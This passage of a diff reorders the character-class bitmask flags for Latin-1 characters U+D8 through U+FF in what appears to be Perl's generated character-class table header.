(1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+DB U with '^' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+DC U with DIAERESIS */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+DD Y with ACUTE */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+DE THORN */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+DF sharp s */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+E0 a with grave */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+E1 a with acute */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+E2 a with '^' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+E3 a with '~' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+E4 a with diaeresis */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+E5 a with ring */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+E6 ae */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+E7 c with cedilla */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+E8 e with grave */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+E9 e with acute */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+EA e with '^' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+EB e with diaeresis */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+EC i with grave */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+ED i with acute */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+EE i with '^' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+EF i with diaeresis */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+F0 eth */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+F1 n with '~' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+F2 o with grave */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+F3 o with acute */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+F4 o with '^' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+F5 o with '~' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+F6 o with diaeresis */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), +/* U+D8 O with '/' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+D9 U with GRAVE */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+DA U with ACUTE */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+DB U with '^' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+DC U with DIAERESIS */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+DD Y with ACUTE */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+DE THORN */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+DF sharp s */ (1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+E0 a with grave */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+E1 a with acute */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+E2 a with '^' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+E3 a with '~' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+E4 a with diaeresis */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+E5 a with ring */ (1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+E6 ae */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+E7 c with cedilla */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+E8 e with grave */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+E9 e with acute */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+EA e with '^' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+EB e with diaeresis */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+EC i with grave */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+ED i with acute */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+EE i with '^' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+EF i with diaeresis */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+F0 eth */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+F1 n with '~' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+F2 o with grave */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+F3 o with acute */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+F4 o with '^' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+F5 o with '~' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+F6 o with diaeresis */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), /* U+F7 DIVISION */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_QUOTEMETA), -/* U+F8 o with '/' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+F9 u with grave */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+FA u with acute */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+FB u with '^' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+FC u with diaeresis */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+FD y with acute */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+FE thorn */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* U+FF y with diaeresis */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR) +/* U+F8 o with '/' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+F9 u with grave */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+FA u with acute */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+FB u with '^' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+FC u with diaeresis */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+FD y with acute */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+FE thorn */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+FF y with diaeresis */ (1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD) #endif /* ASCII/Latin1 */ @@ -276,15 +276,15 @@ /* U+02 STX */ 